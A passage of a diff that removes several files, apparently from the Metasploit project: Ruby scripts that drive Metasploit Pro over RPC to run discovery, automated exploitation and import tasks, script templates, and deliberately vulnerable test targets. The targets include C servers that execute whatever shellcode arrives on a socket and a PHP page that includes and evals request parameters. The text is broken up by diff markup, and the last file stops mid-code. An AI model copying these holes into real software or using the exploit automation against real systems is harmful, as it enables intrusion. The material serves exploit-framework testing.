task = @rpc.call("pro.start_discover", {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'ips' => targets,
|
||||
'DS_BLACKLIST_HOSTS' => blacklist,
|
||||
'DS_PORTSCAN_SPEED' => speed,
|
||||
'DS_PORTS_EXTRA' => extra_ports,
|
||||
'DS_PORTS_BLACKLIST' => blacklist_ports,
|
||||
'DS_PORTS_CUSTOM' => custom_ports,
|
||||
'DS_PORTSCAN_TIMEOUT' => portscan_timeout,
|
||||
'DS_PORTSCAN_SOURCE_PORT' => source_port,
|
||||
'DS_CustomNmap' => custom_nmap_options,
|
||||
'DS_UDP_PROBES' => disable_udp_probes,
|
||||
'DS_FINGER_USERS' => disable_finger_users,
|
||||
'DS_SNMP_SCAN' => disable_snmp_scan,
|
||||
'DS_IDENTIFY_SERVICES' => disable_service_identification,
|
||||
'DS_SMBUser' => smb_user,
|
||||
'DS_SMBPass' => smb_pass,
|
||||
'DS_SMBDomain' => smb_domain,
|
||||
'DS_SINGLE_SCAN' => single_scan,
|
||||
'DS_FAST_DETECT' => fast_detect
|
||||
})
|
||||
|
||||
puts "DEBUG: Running task with #{task.inspect}"
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,225 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
$stderr.puts ""
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
opts[:blacklist] = ''
|
||||
opts[:whitelist_ports] = ''
|
||||
opts[:blacklist_ports] = ''
|
||||
opts[:exploit_timeout] = 5
|
||||
opts[:limit_sessions] = true
|
||||
opts[:ignore_fragile_devices] = true
|
||||
opts[:filter_by_os] = true
|
||||
opts[:only_match] = false
|
||||
opts[:match_vulns] = true
|
||||
opts[:match_ports] = true
|
||||
opts[:payload_method] = "auto"
|
||||
opts[:payload_type] = "meterpreter"
|
||||
opts[:payload_ports] = "4000-5000"
|
||||
opts[:evasion_level_tcp] = 0
|
||||
opts[:evasion_level_app] = 0
|
||||
opts[:module_filter] = ''
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('Exploit Specific Options:')
|
||||
|
||||
parser.on("--project PROJECT") do |x|
|
||||
opts[:project] = x
|
||||
end
|
||||
|
||||
parser.on("--targets TARGETS") do |x|
|
||||
opts[:targets] = x
|
||||
end
|
||||
|
||||
parser.on("--speed SPEED") do |x|
|
||||
opts[:speed] = x
|
||||
end
|
||||
|
||||
parser.on("--minimum-rank RANK") do |x|
|
||||
opts[:rank] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
||||
opts[:blacklist] = x
|
||||
end
|
||||
|
||||
parser.on("--whitelist-ports PORTS (optional)") do |x|
|
||||
opts[:whitelist_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist-ports PORTS (optional)") do |x|
|
||||
opts[:blacklist_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--exploit-timeout TIMEOUT (optional)") do |x|
|
||||
opts[:exploit_timeout] = x
|
||||
end
|
||||
|
||||
parser.on("--limit-sessions (optional)") do |x|
|
||||
opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--ignore-fragile-devices (optional)") do |x|
|
||||
opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--filter-by-os (optional)") do |x|
|
||||
opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--dry-run (optional)") do |x|
|
||||
opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--match-vulns (optional)") do |x|
|
||||
opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--match-ports (optional)") do |x|
|
||||
opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x|
|
||||
opts[:payload_method] = x
|
||||
end
|
||||
|
||||
parser.on("--payload-type METERPRETER|SHELL (optional)") do |x|
|
||||
opts[:payload_type] = x
|
||||
end
|
||||
|
||||
parser.on("--payload-ports PORTS (optional)") do |x|
|
||||
opts[:payload_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--evasion-level-tcp LEVEL (optional)") do |x|
|
||||
opts[:evasion_level_tcp] = x
|
||||
end
|
||||
|
||||
parser.on("--evasion-level-app LEVEL (optional)") do |x|
|
||||
opts[:evasion_level_app] = x
|
||||
end
|
||||
|
||||
parser.on("--module-filter FILTER (optional)") do |x|
|
||||
opts[:module_filter] = x
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
parser.separator('')
|
||||
parser.parse!(ARGV)
|
||||
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# Store the user's settings
|
||||
project = opts[:project] || usage(parser)
|
||||
targets = opts[:targets] || usage(parser)
|
||||
rank = opts[:rank] || usage(parser)
|
||||
speed = opts[:speed] || usage(parser)
|
||||
blacklist = opts[:blacklist]
|
||||
whitelist_ports = opts[:whitelist_ports]
|
||||
blacklist_ports = opts[:blacklist_ports]
|
||||
exploit_timeout = opts[:exploit_timeout]
|
||||
limit_sessions = opts[:limit_sessions]
|
||||
ignore_fragile_devices = opts[:ignore_fragile_devices]
|
||||
filter_by_os = opts[:filter_by_os]
|
||||
only_match = opts[:only_match]
|
||||
match_vulns = opts[:match_vulns]
|
||||
match_ports = opts[:match_ports]
|
||||
payload_method = opts[:payload_method]
|
||||
payload_type = opts[:payload_type]
|
||||
payload_ports = opts[:payload_ports]
|
||||
evasion_level_tcp = opts[:evasion_level_tcp]
|
||||
evasion_level_app = opts[:evasion_level_app]
|
||||
module_filter = opts[:module_filter]
|
||||
#===
|
||||
|
||||
# Get the default user
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
|
||||
# Create the task object with all options
|
||||
task = @rpc.call("pro.start_exploit", {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'DS_WHITELIST_HOSTS' => targets,
|
||||
'DS_BLACKLIST_HOSTS' => blacklist,
|
||||
'DS_WHITELIST_PORTS' => whitelist_ports,
|
||||
'DS_BLACKLIST_PORTS' => blacklist_ports,
|
||||
'DS_MinimumRank' => rank,
|
||||
'DS_EXPLOIT_SPEED' => speed,
|
||||
'DS_EXPLOIT_TIMEOUT' => exploit_timeout,
|
||||
'DS_LimitSessions' => limit_sessions,
|
||||
'DS_IgnoreFragileDevices' => ignore_fragile_devices,
|
||||
'DS_FilterByOS' => filter_by_os,
|
||||
'DS_OnlyMatch' => only_match,
|
||||
'DS_MATCH_VULNS' => match_vulns,
|
||||
'DS_MATCH_PORTS' => match_ports,
|
||||
'DS_PAYLOAD_METHOD' => payload_method,
|
||||
'DS_PAYLOAD_TYPE' => payload_type,
|
||||
'DS_PAYLOAD_PORTS' => payload_ports,
|
||||
'DS_EVASION_LEVEL_TCP' => evasion_level_tcp,
|
||||
'DS_EVASION_LEVEL_APP' => evasion_level_app,
|
||||
'DS_ModuleFilter' => module_filter
|
||||
})
|
||||
|
||||
puts "DEBUG: Running task with #{task.inspect}"
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,91 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('Task Options:')
|
||||
|
||||
parser.on("--path PATH") do |path|
|
||||
opts[:path] = path
|
||||
end
|
||||
|
||||
parser.on("--project PROJECT") do |project|
|
||||
opts[:project] = project
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
parser.separator('')
|
||||
|
||||
parser.parse!(ARGV)
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
project = opts[:project] || usage(parser)
|
||||
path = opts[:path] || usage(parser)
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
task = @rpc.call("pro.start_import", {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'DS_PATH' => path
|
||||
})
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,148 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
$stderr.puts ""
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('NeXpose Specific Options:')
|
||||
|
||||
parser.on("--project PROJECT") do |x|
|
||||
opts[:project] = x
|
||||
end
|
||||
|
||||
parser.on("--targets TARGETS") do |x|
|
||||
opts[:targets] = [x]
|
||||
end
|
||||
|
||||
parser.on("--nexpose-host HOST") do |x|
|
||||
opts[:nexpose_host] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-user USER") do |x|
|
||||
opts[:nexpose_user] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-pass PASSWORD") do |x|
|
||||
opts[:nexpose_pass] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-pass-file PATH") do |x|
|
||||
opts[:nexpose_pass_file] = x
|
||||
end
|
||||
|
||||
parser.on("--scan-template TEMPLATE (optional)") do |x|
|
||||
opts[:scan_template] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-port PORT (optional)") do |x|
|
||||
opts[:nexpose_port] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
||||
opts[:blacklist] = x
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
parser.separator('')
|
||||
parser.parse!(ARGV)
|
||||
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# Get the password from the file
|
||||
if opts[:nexpose_pass_file]
|
||||
nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp!
|
||||
else
|
||||
nexpose_pass = opts[:nexpose_pass] || usage(parser)
|
||||
end
|
||||
|
||||
# Store the user's settings
|
||||
project = opts[:project] || usage(parser),
|
||||
targets = opts[:targets] || usage(parser),
|
||||
blacklist = opts[:blacklist],
|
||||
nexpose_host = opts[:nexpose_host] || usage(parser),
|
||||
nexpose_port = opts[:nexpose_port] || "3780",
|
||||
nexpose_user = opts[:nexpose_user] || "nxadmin"
|
||||
scan_template = opts[:scan_template] || "pentest-audit"
|
||||
|
||||
# Get the default user
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
|
||||
options = {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'DS_WHITELIST_HOSTS' => targets,
|
||||
'DS_NEXPOSE_HOST' => nexpose_host,
|
||||
'DS_NEXPOSE_PORT' => nexpose_port,
|
||||
'DS_NEXPOSE_USER' => nexpose_user,
|
||||
'nexpose_pass' => nexpose_pass,
|
||||
'DS_SCAN_TEMPLATE' => scan_template
|
||||
}
|
||||
|
||||
puts "DEBUG: Running task with #{options}"
|
||||
|
||||
# Create the task object with all options
|
||||
task = @rpc.call("pro.start_exploit", options)
|
||||
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,43 +0,0 @@
|
|||
# $Id$
|
||||
# $Revision$
|
||||
# Author:
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
@client = client
|
||||
sample_option_var = nil
|
||||
@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-o" => [ true , "Option that requieres a value"]
|
||||
)
|
||||
meter_type = client.platform
|
||||
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Usage Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def usage
|
||||
print_line "Meterpreter Script for INSERT PURPOSE."
|
||||
print_line(@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
################## Main ##################
|
||||
@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-o"
|
||||
sample_option_var = val
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64|java|php|linux/i # Remove none supported versions
|
|
@ -1,132 +0,0 @@
|
|||
<ruby>
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
#
|
||||
# Put your 'require' here
|
||||
#
|
||||
|
||||
#
|
||||
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
|
||||
# will have to do the trick for now.
|
||||
#
|
||||
def help
|
||||
msg = %Q|
|
||||
Description:
|
||||
Let's describe what this RC script is all about, plus anything the user should know before
|
||||
actually using it.
|
||||
|
||||
Usage:
|
||||
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
|
||||
|
||||
Options:
|
||||
<rc file> - I'm sure you already know
|
||||
<db_user> - Username for the database (datastore: 'DB_USER')
|
||||
<db_pass> - Password for the database (datastore: 'DB_PASS')
|
||||
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
|
||||
<arg1> - Argument 1 (datastore: 'ARG1')
|
||||
|
||||
Authors:
|
||||
sinn3r <sinn3r[at]metasploit.com>
|
||||
|
|
||||
|
||||
msg = msg.gsub(/^\t/, '')
|
||||
print_line(msg)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# See if we're already connected
|
||||
#
|
||||
def is_db_active?
|
||||
begin
|
||||
framework.db.hosts
|
||||
return true
|
||||
rescue ::ActiveRecord::ConnectionNotEstablished
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the database.
|
||||
# Default to localhost:5432, as this is the default configuration suggested by the manual.
|
||||
#
|
||||
def init_db(username, password, workspace)
|
||||
db = "localhost:5432"
|
||||
print_status("Opening #{workspace} at #{db}")
|
||||
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the argumets here
|
||||
#
|
||||
def init_args
|
||||
args = {}
|
||||
|
||||
joint = ARGV.join('')
|
||||
if joint =~ /^help$/i
|
||||
args[:help] = true
|
||||
return args
|
||||
end
|
||||
|
||||
# Add more arguments according to your help() function
|
||||
datastore = framework.datastore
|
||||
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
|
||||
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
|
||||
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
|
||||
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
|
||||
|
||||
if not is_db_active?
|
||||
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
|
||||
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
|
||||
end
|
||||
end
|
||||
|
||||
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
|
||||
|
||||
return args
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is your main function
|
||||
#
|
||||
def main(args)
|
||||
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Below initializes the arguments and database
|
||||
#
|
||||
begin
|
||||
args = init_args
|
||||
if args[:help]
|
||||
help
|
||||
return
|
||||
end
|
||||
|
||||
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
|
||||
main(args)
|
||||
|
||||
rescue ArgumentError => e
|
||||
print_error("Bad argument(s): #{e.message}")
|
||||
return
|
||||
|
||||
rescue RuntimeError => e
|
||||
# Any runtime error should be raised as "RuntimeError"
|
||||
print_error(e.message)
|
||||
return
|
||||
|
||||
rescue ::Exception => e
|
||||
# Whatever unknown exception occurs, we raise it
|
||||
raise e
|
||||
end
|
||||
|
||||
</ruby>
|
|
@ -1,5 +0,0 @@
|
|||
all: exploitmel
|
||||
exploitmel: exploitme-posix.c
|
||||
gcc -W -Wall $< -o $@
|
||||
clean:
|
||||
rm exploitmel
|
|
@ -1,105 +0,0 @@
|
|||
/* exploitme coded in a hurry by Yoann Guillot and Julien Tinnes, used 'man select_tut' as skeleton */
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
#include <sys/mman.h>
|
||||
#include <malloc.h>
|
||||
|
||||
#define LISTEN_PORT 4545
|
||||
|
||||
int vuln(void) {
|
||||
struct sockaddr_in a;
|
||||
int s, mysock;
|
||||
int yes, ret, pagesize;
|
||||
void *buf;
|
||||
|
||||
pagesize = sysconf(_SC_PAGE_SIZE);
|
||||
if (pagesize == -1) {
|
||||
perror("pagesize");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (pagesize < 4096)
|
||||
pagesize=(4096/pagesize+1)*pagesize;
|
||||
printf("Detected pagesize: %d\n", pagesize);
|
||||
buf=memalign(pagesize, pagesize);
|
||||
if (buf == NULL) {
|
||||
perror("memalign");
|
||||
return -1;
|
||||
}
|
||||
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||
perror ("socket");
|
||||
return -1;
|
||||
}
|
||||
yes = 1;
|
||||
if (setsockopt
|
||||
(s, SOL_SOCKET, SO_REUSEADDR,
|
||||
(char *) &yes, sizeof (yes)) < 0) {
|
||||
perror ("setsockopt");
|
||||
close (s);
|
||||
return -1;
|
||||
}
|
||||
memset (&a, 0, sizeof (a));
|
||||
a.sin_port = htons (LISTEN_PORT);
|
||||
a.sin_family = AF_INET;
|
||||
if (bind
|
||||
(s, (struct sockaddr *) &a, sizeof (a)) < 0) {
|
||||
perror ("bind");
|
||||
close (s);
|
||||
return -1;
|
||||
}
|
||||
printf ("Send your shellcode to port %d\n",
|
||||
(int) LISTEN_PORT);
|
||||
listen (s, 10);
|
||||
for (;;) {
|
||||
mysock=accept(s, NULL, NULL);
|
||||
if (mysock == -1) {
|
||||
perror("accept");
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
if (!fork()) {
|
||||
printf("Got new connexion\n");
|
||||
close(s);
|
||||
switch (yes=read(mysock, buf, pagesize)) {
|
||||
case -1:
|
||||
perror("read");
|
||||
case 0:
|
||||
close(mysock);
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
printf("Read %d bytes\n", yes);
|
||||
/* This has the useful side effect of flushing the cache on architectures such as MIPS! */
|
||||
ret=mprotect(buf, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC);
|
||||
if (ret) {
|
||||
perror("mprotect");
|
||||
return -1;
|
||||
}
|
||||
((void (*)())buf)();
|
||||
return 42;
|
||||
} else
|
||||
close(mysock);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
#ifdef SWITCH_STACK
|
||||
unsigned char *m;
|
||||
m = mmap(NULL, 1024 * 1024 * 2, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
|
||||
m += (1024 * 1024 * 2) - 4;
|
||||
__asm__("movl %0, %%esp; call vuln" : : "m" (m));
|
||||
#else
|
||||
vuln();
|
||||
#endif
|
||||
}
|
|
@ -1,18 +0,0 @@
|
|||
<?php
|
||||
if (isset($_REQUEST['path'])) {
|
||||
include($_REQUEST['path']);
|
||||
}
|
||||
if (isset($_REQUEST['includeme'])) {
|
||||
include($_REQUEST['includeme']);
|
||||
}
|
||||
if (isset($_REQUEST['evalme'])) {
|
||||
eval($_REQUEST['evalme']);
|
||||
}
|
||||
|
||||
?>
|
||||
<html>
|
||||
<head><title>Your mom</title></head>
|
||||
<body>
|
||||
<H1>Your mom</H1>
|
||||
</body>
|
||||
</html>
|
|
@ -1,17 +0,0 @@
|
|||
|
||||
SOURCES=testsrv.c
|
||||
OPTIONS=-fno-stack-protector -Wa,--execstack -Wl,-z,execstack
|
||||
|
||||
default:x86_32 x86_64
|
||||
all: x86_32 x86_64
|
||||
|
||||
x86_32:
|
||||
gcc -m32 ${OPTIONS} -o testsrv32 ${SOURCES}
|
||||
x86_64:
|
||||
gcc -m64 ${OPTIONS} -o testsrv64 ${SOURCES}
|
||||
|
||||
clean:
|
||||
rm testsrv32
|
||||
rm testsrv64
|
||||
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
This is meant to be used in conjunction with the test/aggressive exploit. It
|
||||
simply executes whatever code is passed to it over the socket.
|
|
@ -1,129 +0,0 @@
|
|||
|
||||
/*
|
||||
* srv.c -- Example server for easy exploiting
|
||||
*
|
||||
* Usage: srv <port>
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* C:\> srv 1234
|
||||
* C:\> nload localhost 1234 -s code.s
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
|
||||
#if defined _WIN32
|
||||
#include <winsock2.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#else
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#define SERVER_PORT 5432
|
||||
#define MAX_PENDING 1
|
||||
|
||||
|
||||
int ehlo, from;
|
||||
|
||||
/* Main function */
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
struct sockaddr_in sin;
|
||||
char buf[8092], *ptr;
|
||||
int c, i, len, port;
|
||||
int s, new_s, bytes;
|
||||
#if defined _WIN32
|
||||
int wsaret;
|
||||
WSADATA wsaData;
|
||||
#endif
|
||||
int (*funct)();
|
||||
|
||||
|
||||
/* Command line parameters */
|
||||
if (argv[1])
|
||||
port = atoi(argv[1]);
|
||||
else
|
||||
port = SERVER_PORT;
|
||||
|
||||
#if defined _WIN32
|
||||
/* Initialize winsock */
|
||||
wsaret = WSAStartup(0x101, &wsaData);
|
||||
if(wsaret != 0)
|
||||
return (0);
|
||||
|
||||
/* Create a socket */
|
||||
if ((s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0) {
|
||||
fprintf(stderr, "%s: WSASocket - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
#else
|
||||
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||
fprintf(stderr, "%s: socket - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* Initialize the addres data structure */
|
||||
memset((void *)&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_addr.s_addr = INADDR_ANY;
|
||||
sin.sin_port = htons(port);
|
||||
|
||||
/* Bind an address to the socket */
|
||||
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
|
||||
fprintf(stderr, "%s: bind - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* Set the length of the listen queue */
|
||||
if (listen(s, MAX_PENDING) < 0) {
|
||||
fprintf(stderr, "%s: listen - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
while (1)
|
||||
{
|
||||
#if defined _WIN32
|
||||
__try
|
||||
{
|
||||
#endif
|
||||
len = sizeof(sin);
|
||||
new_s = accept(s, (struct sockaddr *)&sin, &len);
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
bytes = recv(new_s, buf, sizeof(buf), 0);
|
||||
|
||||
